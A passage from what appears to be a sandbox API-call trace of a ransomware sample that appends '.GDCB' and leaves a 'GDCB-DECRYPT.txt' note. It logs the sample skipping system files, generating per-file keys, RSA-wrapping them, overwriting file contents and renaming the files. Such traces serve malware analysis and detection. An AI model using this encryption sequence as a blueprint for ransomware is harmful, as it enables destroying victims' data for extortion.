(lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\UwUP52bZ.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uwup52bz.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\UwUP52bZ.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uwup52bz.gif.gdcb")) returned 0 [0170.890] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XFNO_BFGg.m4a") returned 258 [0170.890] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XFNO_BFGg.m4a") returned 258 [0170.890] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XFNO_BFGg.m4a") returned 258 [0170.890] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XFNO_BFGg.m4a") returned 258 [0170.890] lstrcmpiW (lpString1="XFNO_BFGg.m4a", lpString2="desktop.ini") returned 1 [0170.890] lstrcmpiW (lpString1="XFNO_BFGg.m4a", lpString2="autorun.inf") returned 1 [0170.890] lstrcmpiW (lpString1="XFNO_BFGg.m4a", lpString2="ntuser.dat") returned 1 [0170.890] lstrcmpiW (lpString1="XFNO_BFGg.m4a", lpString2="iconcache.db") returned 1 [0170.890] lstrcmpiW (lpString1="XFNO_BFGg.m4a", lpString2="bootsect.bak") returned 1 [0170.891] lstrcmpiW (lpString1="XFNO_BFGg.m4a", lpString2="boot.ini") returned 1 [0170.891] lstrcmpiW (lpString1="XFNO_BFGg.m4a", lpString2="ntuser.dat.log") returned 1 [0170.891] lstrcmpiW (lpString1="XFNO_BFGg.m4a", lpString2="thumbs.db") returned 1 [0170.891] lstrcmpiW (lpString1="XFNO_BFGg.m4a", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.891] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XFNO_BFGg.m4a" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xfno_bfgg.m4a")) returned 0x20 [0170.891] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XFNO_BFGg.m4a", dwFileAttributes=0x20) returned 1 [0170.894] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0170.895] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.895] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.895] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.895] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0170.895] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0170.895] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.895] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.895] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.895] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.896] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0170.898] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f6970) returned 1 [0170.898] CryptGetKeyParam (in: hKey=0x5f6970, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.898] CryptEncrypt (in: hKey=0x5f6970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b10000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2b10000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.899] GetLastError () returned 0x0 [0170.899] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0170.899] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.902] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f6330) returned 1 [0170.902] CryptGetKeyParam (in: hKey=0x5f6330, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.902] CryptEncrypt (in: hKey=0x5f6330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b20000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2b20000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.903] GetLastError () returned 0x0 [0170.903] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.903] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XFNO_BFGg.m4a" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xfno_bfgg.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0170.907] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b30000 [0170.907] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2b40000 [0170.908] ReadFile (in: hFile=0x514, lpBuffer=0x2b40000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x2b40000*, lpNumberOfBytesRead=0x285d3e8*=0x15280, lpOverlapped=0x0) returned 1 [0170.921] VirtualAlloc (lpAddress=0x0, dwSize=0x15280, flAllocationType=0x3000, flProtect=0x4) returned 0x2c50000 [0170.922] VirtualAlloc (lpAddress=0x0, dwSize=0x15280, flAllocationType=0x3000, flProtect=0x4) returned 0x2c70000 [0170.924] VirtualFree (lpAddress=0x2c50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.924] SetFilePointer (in: hFile=0x514, lDistanceToMove=-86656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.925] WriteFile (in: hFile=0x514, lpBuffer=0x2c70000*, nNumberOfBytesToWrite=0x15280, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2c70000*, lpNumberOfBytesWritten=0x285d3e0*=0x15280, lpOverlapped=0x0) returned 1 [0170.925] VirtualFree (lpAddress=0x2c70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.926] VirtualFree (lpAddress=0x2b40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.929] WriteFile (in: hFile=0x514, lpBuffer=0x2b10000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b10000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.929] WriteFile (in: hFile=0x514, lpBuffer=0x2b20000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b20000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.930] WriteFile (in: hFile=0x514, lpBuffer=0x2b30000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b30000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0170.930] CloseHandle (hObject=0x514) returned 1 [0170.932] VirtualFree (lpAddress=0x2b30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.932] VirtualFree (lpAddress=0x2b10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.932] VirtualFree (lpAddress=0x2b20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.933] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XFNO_BFGg.m4a" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xfno_bfgg.m4a"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XFNO_BFGg.m4a.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xfno_bfgg.m4a.gdcb")) returned 0 [0170.937] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XPAz2BfWzJmuIx.mkv") returned 263 [0170.937] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XPAz2BfWzJmuIx.mkv") returned 263 [0170.937] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XPAz2BfWzJmuIx.mkv") returned 263 [0170.937] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XPAz2BfWzJmuIx.mkv") returned 263 [0170.937] lstrcmpiW (lpString1="XPAz2BfWzJmuIx.mkv", lpString2="desktop.ini") returned 1 [0170.937] lstrcmpiW (lpString1="XPAz2BfWzJmuIx.mkv", lpString2="autorun.inf") returned 1 [0170.938] lstrcmpiW (lpString1="XPAz2BfWzJmuIx.mkv", lpString2="ntuser.dat") returned 1 [0170.938] lstrcmpiW (lpString1="XPAz2BfWzJmuIx.mkv", lpString2="iconcache.db") returned 1 [0170.938] lstrcmpiW (lpString1="XPAz2BfWzJmuIx.mkv", lpString2="bootsect.bak") returned 1 [0170.938] lstrcmpiW (lpString1="XPAz2BfWzJmuIx.mkv", lpString2="boot.ini") returned 1 [0170.938] lstrcmpiW (lpString1="XPAz2BfWzJmuIx.mkv", lpString2="ntuser.dat.log") returned 1 [0170.938] lstrcmpiW (lpString1="XPAz2BfWzJmuIx.mkv", lpString2="thumbs.db") returned 1 [0170.938] lstrcmpiW (lpString1="XPAz2BfWzJmuIx.mkv", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.938] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XPAz2BfWzJmuIx.mkv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xpaz2bfwzjmuix.mkv")) returned 0xffffffff [0170.938] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XPAz2BfWzJmuIx.mkv", dwFileAttributes=0xfffffffe) returned 0 [0170.938] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.939] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.939] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.939] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.939] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.939] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.940] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.940] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.940] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.940] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.940] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.944] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f63b0) returned 1 [0170.944] CryptGetKeyParam (in: hKey=0x5f63b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.944] CryptEncrypt (in: hKey=0x5f63b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b10000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2b10000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.944] GetLastError () returned 0x0 [0170.944] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.944] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.948] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x617fa8) returned 1 [0170.948] CryptGetKeyParam (in: hKey=0x617fa8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.948] CryptEncrypt (in: hKey=0x617fa8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b20000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2b20000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.948] GetLastError () returned 0x0 [0170.948] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.948] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XPAz2BfWzJmuIx.mkv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xpaz2bfwzjmuix.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.949] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y5q_iSG1AAFgs9Oxw7.gif") returned 267 [0170.949] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y5q_iSG1AAFgs9Oxw7.gif") returned 267 [0170.949] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y5q_iSG1AAFgs9Oxw7.gif") returned 267 [0170.949] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y5q_iSG1AAFgs9Oxw7.gif") returned 267 [0170.949] lstrcmpiW (lpString1="Y5q_iSG1AAFgs9Oxw7.gif", lpString2="desktop.ini") returned 1 [0170.949] lstrcmpiW (lpString1="Y5q_iSG1AAFgs9Oxw7.gif", lpString2="autorun.inf") returned 1 [0170.949] lstrcmpiW (lpString1="Y5q_iSG1AAFgs9Oxw7.gif", lpString2="ntuser.dat") returned 1 [0170.949] lstrcmpiW (lpString1="Y5q_iSG1AAFgs9Oxw7.gif", lpString2="iconcache.db") returned 1 [0170.949] lstrcmpiW (lpString1="Y5q_iSG1AAFgs9Oxw7.gif", lpString2="bootsect.bak") returned 1 [0170.949] lstrcmpiW (lpString1="Y5q_iSG1AAFgs9Oxw7.gif", lpString2="boot.ini") returned 1 [0170.949] lstrcmpiW (lpString1="Y5q_iSG1AAFgs9Oxw7.gif", lpString2="ntuser.dat.log") returned 1 [0170.949] lstrcmpiW (lpString1="Y5q_iSG1AAFgs9Oxw7.gif", lpString2="thumbs.db") returned 1 [0170.949] lstrcmpiW (lpString1="Y5q_iSG1AAFgs9Oxw7.gif", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.949] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y5q_iSG1AAFgs9Oxw7.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\y5q_isg1aafgs9oxw7.gif")) returned 0xffffffff [0170.949] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y5q_iSG1AAFgs9Oxw7.gif", dwFileAttributes=0xfffffffe) returned 0 [0170.949] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0170.950] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.950] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.950] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.950] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0170.950] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.951] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.951] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.951] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.951] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.951] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.955] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6181a8) returned 1 [0170.955] CryptGetKeyParam (in: hKey=0x6181a8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.955] CryptEncrypt (in: hKey=0x6181a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b30000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2b30000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.955] GetLastError () returned 0x0 [0170.955] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.955] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0170.958] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x617da8) returned 1 [0170.958] CryptGetKeyParam (in: hKey=0x617da8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.958] CryptEncrypt (in: hKey=0x617da8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b40000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2b40000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.958] GetLastError () returned 0x0 [0170.958] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0170.958] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Y5q_iSG1AAFgs9Oxw7.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\y5q_isg1aafgs9oxw7.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.958] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YRyrD_tRBHdMGD-Z.png") returned 265 [0170.959] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YRyrD_tRBHdMGD-Z.png") returned 265 [0170.959] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YRyrD_tRBHdMGD-Z.png") returned 265 [0170.959] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YRyrD_tRBHdMGD-Z.png") returned 265 [0170.959] lstrcmpiW (lpString1="YRyrD_tRBHdMGD-Z.png", lpString2="desktop.ini") returned 1 [0170.959] lstrcmpiW (lpString1="YRyrD_tRBHdMGD-Z.png", lpString2="autorun.inf") returned 1 [0170.959] lstrcmpiW (lpString1="YRyrD_tRBHdMGD-Z.png", lpString2="ntuser.dat") returned 1 [0170.959] lstrcmpiW (lpString1="YRyrD_tRBHdMGD-Z.png", lpString2="iconcache.db") returned 1 [0170.959] lstrcmpiW (lpString1="YRyrD_tRBHdMGD-Z.png", lpString2="bootsect.bak") returned 1 [0170.959] lstrcmpiW (lpString1="YRyrD_tRBHdMGD-Z.png", lpString2="boot.ini") returned 1 [0170.959] lstrcmpiW (lpString1="YRyrD_tRBHdMGD-Z.png", lpString2="ntuser.dat.log") returned 1 [0170.959] lstrcmpiW (lpString1="YRyrD_tRBHdMGD-Z.png", lpString2="thumbs.db") returned 1 [0170.959] lstrcmpiW (lpString1="YRyrD_tRBHdMGD-Z.png", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.959] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YRyrD_tRBHdMGD-Z.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\yryrd_trbhdmgd-z.png")) returned 0xffffffff [0170.959] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\YRyrD_tRBHdMGD-Z.png", dwFileAttributes=0xfffffffe) returned 0 [0170.959] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0170.960] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.960] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.960] CryptGenRandom (in: hProv=0x5c4760, 